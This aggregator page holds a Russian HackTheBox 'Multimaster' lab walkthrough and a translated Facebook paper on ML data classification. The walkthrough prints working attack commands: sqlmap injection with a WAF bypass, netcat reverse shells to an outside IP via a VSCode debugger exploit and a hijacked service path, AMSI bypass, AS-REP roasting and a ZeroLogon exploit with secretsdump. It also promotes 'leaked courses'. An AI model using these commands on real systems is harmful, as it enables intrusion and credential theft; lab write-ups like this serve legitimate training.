Русский
Русский
English
Статистика
Реклама

Python

HackTheBox. Прохождение Multimaster. BurpSqlmap. AD users from MSSQL. Уязвимость в VSCode. AMSI bypass и CVE ZeroLogon

19.09.2020 20:08:00 | Автор: admin

Привет, с вами Ральф. Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье очень много всего. Посмотрим как для удобства совместить Burp Suite и sqlmap, узнаем как получить пользователей домена имея доступ к MSSQL, эксплуатируем уязвимость в Visual Studio Code, блокируем AMSI, выполняем AS-REP Roasting для получения учетных данных и повышаем привилегии из группы Server Operators. А в качестве демонстрации новой уязвимости ZeroLogon, захватим эту же машину другим путем меньше чем за 5 минут.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.179, который я добавляю в /etc/hosts.

10.10.10.179 multimaster.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179  --rate=500



На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389



С SMB и LDAP ничего сделать не выходит, посмотрим веб.



На сайте есть авторизация, а также форма поиска.



Причем поиск работает по вхождению.



Таким образом, можно предположить, что в SQL запросе используется оператор LIKE. Поэтому можно попытаться вывести все записи.



Получается, что мы имеем SQL инъекцию.



Но вывести хоть что-либо не выходит. Видимо используется WAF.



Но его получилось обойти за счет использования Unicode кодировки.



И находим количество столбцов.





Значит инъекция есть 100%.

Sqlmap + Burp Suite



Для того, чтобы легко работать с базой, используем sqlmap. Мы знаем способ кодирования и СУБД отразим это в параметрах. Так же сохраним запрос из Burp Suite в файл и укажем его sqlmap. Давайте определим пользователя, под которым выполняются запросы.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user



И неудачно, такой же ответ мы получали без использования кодирования. Давайте укажем Burp в качестве прокси для sqlmap. И чтобы не тратить время укажем технику внедрения кода Union based (параметр U).
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user

Перехватываем запросы в burp, и видим несколько иное отображение кодировки.



Давайте проверим, работает ли она. Закодируем уже известную нам нагрузку данным образом.





И она не работает. Значит нам нужно изменять отображение кодировки. Сделать это можно с помощью Burp. Перейдем на вкладку Proxy -> options и к разделу Match and Replace.



Добавим правило, которое в теле запроса будет менять %u на \u.



И удостоверимся, что оно активно.



Теперь снова выполним sqlmap.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user

В Burp наблюдаем уже исправленный запрос.



Разрешаем передачу для всех запросов. И в sqlmap получаем имя текущего пользователя.



Но снова видим ошибку. Видимо WAF. Давайте добавим задержку 3 секунды и узнаем привилегии.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges



Мы ничего не можем сделать. Узнаем базы данных.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs



Посмотрим таблицы из Hub_DB.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables



То что нужно. Таблица Logins. Извлечем из нее все данные.
sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump



И так, мы имеем пользователей и хеши паролей. Здесь присутствует все 4 различных хеша. Давайте узнаем какие.



Теперь узнаем режимы hashcat, которые мы будем перебирать.



Всего три режима. И используя последнй мы ломаем три хеша.
hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt



Но данные хеши не подходят для SMB. Копаем дальше.

USER


То что мы можем получать данные из MSSQL дает нам возможность получить пользователей домена. Сейчас покажу, как это сделать. Первым делом, нам нужно получить название домена.





И теперь нам нужно узнать его SID. SID домена мы можем получить, узнав SID любого объекта домена и откинув от него RID. В любом домене существует группа Domain Admins. Это позволяет нам заранее существующий в домене объект. Давайте узнаем его SID.





Так, он закодирован. Чтобы отобразить его в нормальном виде, используем функцию sys.fn_varbintohexstr.





И мы получаем SID данного объекта. Далее идея такая: мы получаем SID домена и подставляя разные RID, получим имена пользователей по существующему SID. Для примера, RID администратора 500.

Из полученного SID возьмем первые 48 байт.



И добавляем в конец, RID 500 (не забываем перевернуть).





И теперь получим имя учетной записи по нашему SID.





Так как это работает, получим объекты домена. Для перебора я использую Burp Intruder.





Отправив в Intruder запрос, выделяем наши переменные 4 байта. Далее нужно сгенерировать эти переменные 4 байта.
for i in range(1100, 9100,1000):    for j in range(50):        h = hex(i+j)[2:].rjust(4,'0')        SID = ""        for c in (h[2:]+h[:2]):            SID += "0x" + hex(ord(c))[2:]        print(SID)

Сохраняем результат в файл и указываем в Burp.



Также выключаем URL кодирование и заменяем все 0x на \u00.



Помним про WAF, ставим один поток и и задержку между запросами.



Запускаем атаку, сортируем по длине ответа и наблюдаем много объектов.



Выбираем всех пользователей и сохраняем в файл. Также имеем три пароля. Перебираем SMB и находим верную пару.



Подключаемся к WinRM и мы в системе.



USER2


Попадая в систему, проводим разведку. Я делаю это с помощью winPEAS. Загружаем его на машину и запускаем. Ничего интересного там не обнаружили.



Значит пойдем по сложному пути. Нам нужно достать как можно больше учетных данных. Начнем с имен пользователей, которые есть в системе.



Сохраняем всех себе в файл. Но где мы можем найти хоть какой-нибудь пароль? На сервере используются баз данных, и для подключения к ней нужен пароль. Давайте попробуем достать его.



Но у нас нет прав на директорию веб-сервера. Уже не зная что делать, в моем списке осталась не закрыта позиция используемого на сервере программного обеспечения. Просмотрим список процессов.



И в глаза бросается VSCode.





Таким образом, на сервере запущен Visual Studio Code 1.37.1. И в нем есть уязвимости, позволяющие выполнить код!



Как следует отсюда:
An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer.

Злоумышленник, может внедрить произвольный код для запуска в контексте текущего пользователя для этого он должен определить, какой порт прослушивает Visual Studio Code. Для подключения к порту VSCode можем использовать cefdebug.



Давайте найдем прослушиваемый порт.



Отлично, такой порт есть. Давайте выполним код в контексте процесса VSCode. Выполним бэкконнект шелл с помошью nc.
.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"



И видим успешное подключение.



Идем в нашу директорию.





Из всего представленного наибольший интерес представляет API. Давайте скачаем его.





Я перешел в систему Windows и проверил, на чем написана данная библиотека.



Это C#, значит мы можем декомпилировать проект. Я использую dnSpy.



И в исходниках находим пароль. Но чтобы выяснить для какого он пользователя, используем перебор логинов (Password Spraying). Я использую CrackMapExec.
cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"



И забираем еще одного пользователя



USER3


При попытке загрузить и использовать какое-либо средство разведки, нас блокирует AMSI. Давайте запатчим его с помощью Invoke-AlokS-AvBypass.



Теперь спокойно загружаем на хост sharphound.



И после запуска наблюдаем архив.



Теперь скачиваем его на локальный хост и закидываем в bloodhound. Далее в Queries выбираем Shortest Paths to High Value Targets.



Копаясь в графе, определяем связь между подконтрольным нам пользователем и другим пользователем домена.



Давайте получим информацию о связи.





Таким образом, мы можем получить хеш пароля пользователя (о самом процессе уже описывалось в двух подобным райтапах). Активируем свойство не требовать предварительную аутентификацию Kerberos.



И выполним запрос.



Копируем хеш и ломаем с помощью hashcat.
hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt



Получаем пароль пользователя. И успешно заходим под ним.



ROOT


Получив информацию о пользователе, замечаем, что он является членом группы Server Operators.



Члены данной группы могут конфигурировать и запускать службы (а службы в в винде работают от имени SYSTEM). Обычно это делают через SensorDaraService.



Давайте изменить пусть к исполняемому файлу на команду бэкконнекта с помощью netcat.
reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f



И после запуска службы наблюдаем подключение на 4321 порт.
sc.exe start SensorDataService



Мы с правами SYSTEM.

CVE-2020-1472


А теперь для демонстрации попробуем сразу захватить контроллер домена, даже не имея точки входа и опоры. Для этого используем недавно нашумевшую уязвимость ZeroLogon (CVE-2020-1472).

По большому счету, уязвимость CVE-2020-1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и сбросить пароль контроллера домена.
Для теста попробуем запросить репликацию учетных данных с хешем 31d6cfe0d16ae931b73c59d7e0c089c0 (пустой пароль).
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'



Теперь используем эксплоит.
CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179



Нам сообщают, что атака проведена успешно. Запрашиваем репликацию учетных данных снова. И получаем их.
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'



А с хешем администратора можем подключиться через WinRM.



В частности, так можно захватить контроллер домена на базе:
всех версий Windows Server 2019, Windows Server 2016;
всех вариантов Windows Server версии 1909;
Windows Server версии 1903;
Windows Server версии 1809 (Datacenter, Standard);
Windows Server 2012 R2;
Windows Server 2012;
Windows Server 2008 R2 Service Pack 1.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Перевод Масштабируемая классификация данных для безопасности и конфиденциальности

23.09.2020 18:06:49 | Автор: admin


Классификация данных на основе контента это открытая задача. Традиционные системы предотвращения потери данных (DLP) решают эту проблему путем снятия отпечатков с соответствующих данных и мониторинга конечных точек для снятия отпечатков. Учитывая большое количество постоянно меняющихся ресурсов данных в Facebook, этот подход не только не масштабируется, но и неэффективен для определения того, где находятся данные. Эта статья посвящена сквозной системе, построенной для обнаружения чувствительных семантических типов в Facebook в масштабе и автоматического обеспечения хранения данных и контроля доступа.

Описанный здесь подход это наша первая сквозная система конфиденциальности, которая пытается решить эту проблему путем включения сигналов данных, машинного обучения и традиционных методов снятия отпечатков для отображения и классификации всех данных в Facebook. Описанная система эксплуатируется в производственной среде, достигая среднего балла F2 0,9+ по различным классам конфиденциальности при обработке большого количества ресурсов данных в десятках хранилищ. Представляем перевод публикации Facebook на ArXiv о масштабируемой классификации данных для обеспечения безопасности и конфиденциальности на основе машинного обучения.

Введение


Сегодня организации собирают и хранят большие объемы данных в различных форматах и местах [1], затем данные потребляются во многих местах, иногда копируются или кэшируются несколько раз, в результате чего ценная и конфиденциальная деловая информация рассеивается по многим корпоративным хранилищам данных. Когда от организации требуется выполнить определенные правовые или нормативные требования, например, соблюдать нормативные акты в ходе гражданского судопроизводства, возникает необходимость сбора данных о местоположении нужных данных. Когда в постановлении о конфиденциальности говорится, что организация должна маскировать все номера социального страхования (SSN) при передаче личной информации неавторизованным субъектам, естественным первым шагом является поиск всех SSN в хранилищах данных всей организации. При таких обстоятельствах классификации данных приобретает решающее значение [1]. Система классификации позволит организациям автоматически обеспечить соблюдение конфиденциальности и политики безопасности, такие как включение политики управления доступом, сохранение данных. Facebook представляет систему, построенную нами в Facebook, которая использует множество сигналов данных, масштабируемую системную архитектуру и машинное обучение для обнаружения чувствительных семантических типов данных.

Обнаружение и классификация данных это их поиск и маркировка таким образом, чтобы при необходимости можно было быстро и эффективно извлекать соответствующую информацию. Нынешний процесс носит скорее ручной характер и заключается в изучении соответствующих законов или нормативных актов, определении того, какие типы информации следует считать чувствительными и каковы различные уровни чувствительности, а затем в соответствующем построении классов и политики классификации [1]. После системы защиты от потери данных (DLP) снимают отпечатки с данных и отслеживают конечные точки вниз по потоку для получения отпечатков. При работе с хранилищем с большим количеством активов и петабайтами данных такой подход просто не масштабируется.

Наша цель в том, чтобы построить систему классификации данных, которая масштабируется как для устойчивых, так и для неустойчивых пользовательских данных, без каких-либо дополнительных ограничений на тип или формат данных. Это смелая цель, и, естественно, она сопряжена с трудностями. Какая-нибудь запись данных может быть длиной в тысячи символов.


Рисунок 1. Потоки онлайн и офлайн-прогнозирования

Поэтому мы должны эффективно представлять ее, используя общий набор признаков, которые впоследствии могут быть объединены и легко перемещены. Эти признаки должны не только обеспечивать точную классификацию, но и обеспечивать гибкость и расширяемость для легкого добавления и обнаружения новых типов данных в будущем. Во-вторых, нужно иметь дело с большими автономными таблицами. Устойчивые данные могут храниться в таблицах размером во много петабайт. Это может привести к снижению скорости сканирования. В-третьих, мы должны соблюдать строгую классификацию SLA по неустойчивым данным. Это заставляет систему быть высокоэффективной, быстрой и точной. Наконец, мы должны обеспечить классификацию данных с низкой задержкой для неустойчивых данных, чтобы выполнять классификацию в режиме реального времени, а также для случаев использования в интернете.

В этой статье описывается, как мы справлялись с проблемами выше, и представляется быстрая и масштабируемая система классификации, которая классифицирует элементы данных всех типов, форматов и источников на основе общего набора признаков. Мы расширили системную архитектуру и создали специальную модель машинного обучения для быстрой классификации офлайн и онлайн-данных. Эта статья организована следующим образом: в разделе 2 представляется общий дизайн системы. В разделе 3 обсуждаются части системы машинного обучения. В разделах 4 и 5 рассказывается о связанной работе, намечается будущее направление работы.

Архитектура


Чтобы справиться с проблемами устойчивых данных и данных онлайна в масштабе Facebook, система классификации имеет два отдельных потока, которые мы подробно обсудим.

Устойчивые данные


Изначально система должна узнать о множестве информационных активов Facebook. Для каждого хранилища собирается некоторая базовая информация, такая как центр обработки данных, содержащий эти данные, система с этими данными и активы, расположенные в конкретном хранилище данных. Это формирует каталог метаданных, позволяющий системе эффективно извлекать данные без перегрузки клиентов и ресурсов, используемых другими инженерами.

Этот каталог метаданных обеспечивает достоверный источник для всех сканируемых активов и позволяет отслеживать состояние различных активов. С помощью этой информации устанавливается приоритет планирования на основе собранных данных и внутренней информации из системы, такой как время последнего успешного сканирования актива и время его создания, а также прошлые требования к памяти и процессору для этого актива, если он сканировался ранее. Затем для каждого ресурса данных (по мере того, как ресурсы становятся доступными) вызывается задание фактического сканирования ресурса.

Каждое задание это скомпилированный двоичный файл, который выполняет выборку Бернулли по последним данным, доступным для каждого актива. Актив разбивается на отдельные столбцы, где результат классификации каждого столбца обрабатывается независимо. Кроме того, система сканирует любые насыщенные данные внутри столбцов. JSON, массивы, кодированные структуры, URL-адреса, сериализованные данные base 64 и многое другое всё это сканируется. Это может значительно увеличить время выполнения сканирования, так как одна таблица может содержать тысячи вложенных столбцов в большом двоичном объекте json.

Для каждой строки, которая выбрана в активе данных, система классификации извлекает плавающие и текстовые объекты из содержимого и связывает каждый объект обратно со столбцом, из которого он был взят. Результат этапа извлечения объектов это карта всех объектов для каждого найденного в активе данных столбца.

Для чего нужны признаки?


Понятие признаков ключевой момент. Вместо признаков float и text мы можем передавать необработанные образцы строк, которые напрямую извлечены из каждого ресурса данных. Кроме того, модели машинного обучения могут обучаться напрямую на каждой выборке, а не на сотнях расчетов признаков, которые только пытаются приблизить выборку. Этому есть несколько причин:

  1. Конфиденциальность прежде всего: самое главное, понятие признаков позволяет нам хранить в памяти только те образцы, которые мы извлекаем. Это гарантирует, что мы храним образцы для единственной цели и никогда не логируем их нашими собственными усилиями. Это особенно важно для неустойчивых данных, поскольку сервис должен поддерживать некоторое состояние классификации, прежде чем предоставлять прогноз.
  2. Память: некоторые сэмплы могут иметь длину в тысячи символов. Хранение таких данных и передача их частям системы без необходимости потребляет много дополнительных байтов. Два фактора могут объединиться с течением времени, учитывая, что существует много ресурсов данных с тысячами столбцов.
  3. Агрегирование признаков: с помощью признаков через их набор четко представляются результаты каждого сканирования, что позволяет системе объединять результаты предыдущих сканирований одного и того же ресурса данных удобным способом. Это может быть полезно для агрегирования результатов сканирования одного ресурса данных в нескольких запусках.

Затем признаки отправляются в сервис прогнозирования, где мы используем классификацию на основе правил и машинное обучение для прогнозирования меток данных каждого столбца. Сервис опирается как на классификаторы правил, так и на машинное обучение и выбирает наилучший прогноз, данный из каждого объекта прогнозирования.

Классификаторы правил это ручная эвристика, она использует расчёты и коэффициенты для нормализации объекта в диапазоне от 0 до 100. Как только такой начальный балл генерируется для каждого типа данных и имени столбца, связанного с этими данными, не попадает ни в какие запрещающие списки, классификатор правил выбирает самый высокий нормализованный балл среди всех типов данных.

Из-за сложности классификации использование исключительно ручной эвристики приводит к низкой точности классификации, особенно для неструктурированных данных. По этой причине мы разработали систему машинного обучения для работы с классификацией неструктурированных данных, таких как пользовательский контент и адрес. Машинное обучение позволило начать отходить от ручной эвристики и применять дополнительные сигналы данных (например, имена столбцов, происхождение данных), значительно повышая точность обнаружения. Мы глубоко погрузимся в нашу архитектуру машинного обучения позже.

Служба прогнозирования хранит результаты для каждого столбца вместе с метаданными, касающимися времени и состояния сканирования. Любые потребители и нижестоящие процессы, зависящие от этих данных, могут считывать их из ежедневно публикуемого набора данных. Этот набор агрегирует результаты всех этих заданий сканирования, или API реального времени каталога данных. Опубликованные прогнозы фундамент автоматического применения политики конфиденциальности и безопасности.

Наконец, после того как служба прогнозирования записывает все данные и все прогнозы сохраняются, наш API каталога данных может возвращать все прогнозы типов данных для ресурса в режиме реального времени. Каждый день система публикует набор данных, содержащий все последние прогнозы для каждого актива.

Неустойчивые данные


Хотя описанный выше процесс создан для сохраняемых активов, не сохраняемый трафик также считается частью данных организации и может быть важным. По этой причине система предоставляет онлайн-API генерации прогнозов классификации в реальном времени для любого неустойчивого трафика. Система прогнозирования в реальном времени широко используется при классификации исходящего трафика, входящего трафика в модели машинного обучения и данных рекламодателей.

Здесь API принимает два основных аргумента: ключ группировки и необработанные данные, которые должны быть спрогнозированы. Сервис выполняет то же извлечение объектов, что описано выше, и группирует объекты вместе для одного и того же ключа. Эти признаки также поддерживаются в сохраняемом кэше для восстановления после отказа. Каждому ключу группировки служба гарантирует, что перед вызовом сервиса прогнозирования она видела достаточно выборок в соответствии с процессом, описанным выше.

Оптимизация


Для сканирования некоторых хранилищ мы используем библиотеки и методы оптимизации чтения из горячего хранилища [2] и гарантируем, что нет никаких сбоев со стороны других пользователей, получающих доступ к тому же хранилищу.

Для чрезвычайно больших таблиц (50 + петабайт), несмотря на все оптимизации и эффективность памяти, система работает над сканированием и вычислением всего, прежде чем закончится память. В конце концов, сканирование полностью вычисляется в памяти и не сохраняется в течение сканирования. Если большие таблицы содержат тысячи столбцов с неструктурированными сгустками данных, задание может завершиться неудачей из-за нехватки ресурсов памяти при выполнении прогнозов для всей таблицы. Это приведет к уменьшению покрытия. Чтобы бороться с этим, мы оптимизировали систему, чтобы использовать скорость сканирования в качестве посредника в том, насколько хорошо система справляется с текущей нагрузкой. Мы используем скорость как прогностический механизм, тчобы видеть проблемы с памятью и при упреждающем расчете карты объектов. При этом мы используем меньше данных, чем обычно.

Сигналы данных


Система классификации хороша настолько, насколько хороши сигналы от данных. Здесь мы рассмотрим все сигналы, используемые системой классификации.

  • На основе содержимого: конечно, первый и важнейший сигнал это содержимое. Выполняется выборка Бернулли по каждому активу данных, который мы сканируем и извлекаем признаки по содержанию данных. Многие признаки происходят из содержимого. Возможно любое количество плавающих объектов, которые представляют рассчеты того, сколько раз был замечен определенный тип образца. Например, у нас могут быть ротзнаки количества электронных писем, увиденных в выборке, или признаки того, сколько смайликов замечено в выборке. Эти расчеты признаков можно нормализовать и агрегировать по различным сканированиям.
  • Происхождения данных: важный сигнал, который может помочь, когда содержимое изменилось из родительской таблицы. Распространенный пример хэшированные данные. Когда данные в дочерней таблице хэшируются, они часто поступают из родительской таблицы, где остаются в открытом виде. Данные о происхождении помогают классифицировать определенные типы данных, когда они не читаются четко или преобразованы из таблицы вверх по потоку.
  • Аннотации: еще один высококачественный сигнал, помогающий в идентификации неструктурированных данных. Фактически аннотации и данные происхождения могут работать вместе для распространения атрибутов между различными активами данных. Аннотации помогают идентифицировать источник неструктурированных данных, в то время как данные о происхождении могут помочь отслеживать поток этих данных по всему хранилищу.
  • Инъекция данных это метод, когда намеренно вводятся специальные, нечитаемые символы в известные источники с известными типами данных. Затем, всякий раз, когда мы сканируем содержимое с одной и той же нечитаемой последовательностью символов, можно сделать вывод, что содержимое исходит из этого известного типа данных. Это еще один качественный сигнал данных, подобный аннотациям. За исключением того, что обнаружение на основе контента помогает обнаружить введенные данные.


Измерение метрик


Важный компонент строгая методологии измерения метрик. Основными метриками итерации улучшения классификации точность и отзыв каждой метки, причем оценка F2 важнейшая.

Для расчета этих показателей необходима независимая методология маркировки активов данных, которая не зависит от самой системы, но может использоваться для непосредственного сравнения с ней. Ниже мы опишем, как мы собираем основную истину из Facebook и используем ее для обучения нашей системы классификации.

Сбор достоверных данных


Мы накапливаем достоверные данные из каждого источника, перечисленного ниже, в его собственную таблицу. Каждая таблица отвечает за агрегирование последних наблюдаемых значений из этого конкретного источника. У каждого источника есть проверка качества данных, чтобы гарантировать, что наблюдаемые значения для каждого источника высококачественны и содержат последние метки типов данных.

  • Конфигурации платформы логирования: определенные поля в таблицах улья заполняются данными, которые относятся к определенному типу. Использование и распространение этих данных служит надежным источником достоверных данных.
  • Ручная маркировка: разработчики, поддерживающие систему, а также внешние маркировщики обучены маркировать столбцы. Это обычно хорошо работает для всех типов данных в хранилище, и может быть основным источником достоверности для некоторых неструктурированных данных, таких как данные сообщений или пользовательский контент.
  • Столбцы из родительских таблиц могут помечаться или аннотироваться как содержащие определенные данные, и мы можем отслеживать эти данные в нижестоящих таблицах.
  • Выборка потоков выполнения: потоки выполнения в Facebook несут данные определенного типа. Используя наш сканер в качестве сервисной архитектуры, мы можем делать выборку потоков, имеющих известные типы данных, и отправлять их через систему. Система обещает не хранить эти данные.
  • Таблицы выборки: большие таблицы улья, которые, как известно, содержат весь корпус данных, также могут использоваться в качестве обучающих данных и передаваться через сканер как сервис. Это отлично подходит для таблиц с полным диапазоном типов данных, так что выборка столбца случайным образом эквивалентна выборке всего множества этого типа данных.
  • Синтетические данные: мы можем даже использовать библиотеки, которые генерируют данные на лету. Это хорошо работает для простых, общедоступных типов данных, таких как адрес или GPS.
  • Стюарды данных: программы конфиденциальности, как правило, используют стюардов данных для ручного закрепления политик за частями данных. Это служит высокоточным источником достоверности.

Мы объединяем каждый основной источник достоверных данных в один корпус со всеми этими данными. Самая большая проблема с достоверностью заключается в том, чтобы убедиться, что она репрезентативна хранилищу данных. В противном случае движки классификации могут переобучиться. В борьбе с этим все вышеперечисленные источники утилизируются, чтобы обеспечить баланс при обучении моделей или вычислении метрик. Кроме того, люди маркировщики равномерно отбирают различные столбцы в хранилище и соответствующим образом маркируют данные, чтобы сбор достоверных значений оставался беспристрастным.

Непрерывная интеграция


Чтобы обеспечить быструю итерацию и улучшение, важно всегда измерять производительность системы в режиме реального времени. Мы можем измерять каждое улучшение классификации в сравнении с системой сегодня, так что тактически можем ориентироваться на данные в дальнейших улучшениях. Здесь мы рассмотрим, как система завершает цикл обратной связи, который обеспечивается достоверными данными.

Когда система планирования сталкивается с активом, который имеет метку от достоверного источника, мы планируем две задачи. Первая использует наши производственные сканер и, таким образом, наши производственные возможности. Вторая задача использует сканер последней сборки с последними признаками. Каждая задача пишет свой вывод в собственную таблицу, помечая версии вместе с результатами классификации.

Так мы сравниваем результаты классификации релиз-кандидата и производственной модели в режиме реального времени.

Пока наборы данных сравнивают признаки RC и PROD, логируется множество вариаций движка классификации ML сервиса прогнозирования. Самая последняя построенная модель машинного обучения, текущая модель в производстве и любые экспериментальные модели. Тот же самый подход позволяет нам разрезать различные версии модели (агностик наших классификаторов правил) и сравнивать метрики в режиме реального времени. Так легко определить, когда эксперимент с ML готов к внедрению в производство.

Каждую ночь RC-признаки, рассчитанные для этого дня, отправляются в обучающий конвейер ML, где модель обучается на последних RC-признаках и оценивает свою производительность в сравнении с достоверным набором данных.

Каждое утро модель завершает обучение и автоматически публикуется в качестве экспериментальной. Она автоматически включается в список экспериментальных.

Некоторые результаты


Маркируется более 100 различных типов данных с высокой точностью. Хорошо структурированные типы, такие как электронные письма и телефонные номера, классифицируются с оценкой f2 более 0,95. Свободные типы данных, такие как пользовательский контент и имя, также работают очень хорошо, с F2-баллами более 0,85.

Ежедневно классифицируется большое количество отдельных столбцов устойчивых и неустойчивых данных во всех хранилищах. Более 500 терабайт сканируются ежедневно в более чем 10 хранилищах данных. Охват большинства из этих хранилищ составляет более 98%.

Со временем классификация стала очень эффективной, так как задания классификации в сохраняемом автономном потоке занимают в среднем 35 секунд от сканирования актива до вычисления прогнозов для каждого столбца.


Рис. 2. Диаграмма, описывающая непрерывный поток интеграции, чтобы понимать, как RC-объекты генерируются и отправляются в модель.


Рисунок 3. Высокоуровневая диаграмма компонента машинного обучения.

Компонент системы машинного обучения


В предыдущем разделе мы глубоко погрузились в архитектуру всей системы, выделив масштаб, оптимизацию и потоки данных в автономном и онлайн-режиме. В этом разделе мы рассмотрим сервис прогнозирования и опишем систему машинного обучения, которая обеспечивает работу службы прогнозирования.

С более чем 100 типами данных и некоторым неструктурированным содержимым, таким как данные сообщений и пользовательский контент, использование исключительно ручной эвристики приводит к субпараметрической точности классификации, особенно для неструктурированных данных. По этой причине мы также разработали систему машинного обучения для работы со сложностями неструктурированных данных. Использование машинного обучения позволяет начать отходить от ручной эвристики и работать с признаками и дополнительные сигналами данных (например, именами столбцов, происхождением данных) для повышения точности.

Реализованная модель изучает векторные представления [3] над плотными и разреженными объектами отдельно. Затем они объединяются, чтобы сформировать вектор, который проходит через серию этапов пакетной нормализации [4] и нелинейности для получения конечного результата. Конечный результат число с плавающей точкой между [0-1] для каждой метки, указывающий вероятность того, что пример принадлежит данному типу чувствительности. Использование PyTorch для модели позволило нам двигаться быстрее, дав возможность разработчикам вне команды быстро вносить и тестировать изменения.

При проектировании архитектуры было важно моделировать разреженные (например, текстовые) и плотные (например, числовые) объекты отдельно из-за их внутреннего различия. Для окончательной архитектуры также было важно выполнить развертку параметров, чтобы найти оптимальное значение скорости обучения, размера пакета и других гиперпараметров. Выбор оптимизатора также был важным гиперпараметром. Мы обнаружили, что популярный оптимизатор Adamчасто приводит к переобучению, тогда как модель с SGD стабильнее. Были дополнительные нюансы, которые мы должны были включить непосредственно в модель. Например, статические правила, которые гарантировали, что модель делает детерминированный прогноз, когда признак имеет определенное значение. Эти статические правила определены нашими клиентами. Мы обнаружили, что включение их непосредственно в модель привело к созданию более самодостаточной и надежной архитектуры, в отличие от реализации этапа постобработки для обработки этих специальных граничных случаев. Также обратите внимание, что во время тренировки эти правила отключены, чтобы не мешать тренировочному процессу градиентного спуска.

Проблемы


Одной из проблем был сбор высококачественных достоверных данных. Модель нуждается в достоверности для каждого класса, чтобы она могла изучать ассоциации между объектами и метками. В предыдущем разделе мы обсуждали методы сбора данных как для измерения системы, так и для обучения моделей. Анализ показал, что такие классы данных, как номера кредитных карт и банковских счетов не очень распространены в нашем хранилище. Это затрудняет сбор больших объемов достоверных данных для обучения моделей. Чтобы решить эту проблему, мы разработали процессы получения синтетических достоверных данных для этих классов. Мы генерируем такие данные для чувствительных типов, включая SSN, номера кредитных карт и IBAN-номера, для которых модель не могла прогнозировать ранее. Этот подход позволяет обрабатывать конфиденциальные типы данных без риска конфиденциальности, связанного с укрывательством реальных конфиденциальных данных.

Помимо проблем достоверных данных, есть открытые архитектурные проблемы, над которыми мы работаем, такие как изоляция изменений и ранняя остановка. Изоляция изменений важна для того, чтобы при внесении различных изменений в различные части сети воздействие было изолировано от конкретных классов и не оказывало широкого влияния на общую производительность прогнозирования. Улучшение критериев ранней остановки также имеет решающее значение для того, чтобы мы могли остановить тренировочный процесс в стабильной точке для всех классов, а не в той точке, где некоторые классы переобучаются, а другие нет.

Важность признака


Когда в модель вводится новый признак, мы хотим знать его общее влияние на модель. Мы также хотим убедиться, что прогнозы интерпретируемы человеком, чтобы можно было точно понять, какие признаки используются для каждого типа данных. Для этого мы разработали и ввели поклассовую важность признаков для модели PyTorch. Обратите внимание, что это отличается от общей важности признака, которая обычно поддерживается, потому что она не говорит нам, какие признаки важны для определенного класса. Мы измеряем важность объекта, вычисляя увеличение ошибки прогноза после перестановки объекта. Признак является важным, когда перестановка значений увеличивает ошибку модели, поскольку в этом случае модель полагалась на признак в прогнозировании. Признак неважен, когда перетасовка его значений оставляет ошибку модели неизменной, поскольку в этом случае модель игнорировала его [5].

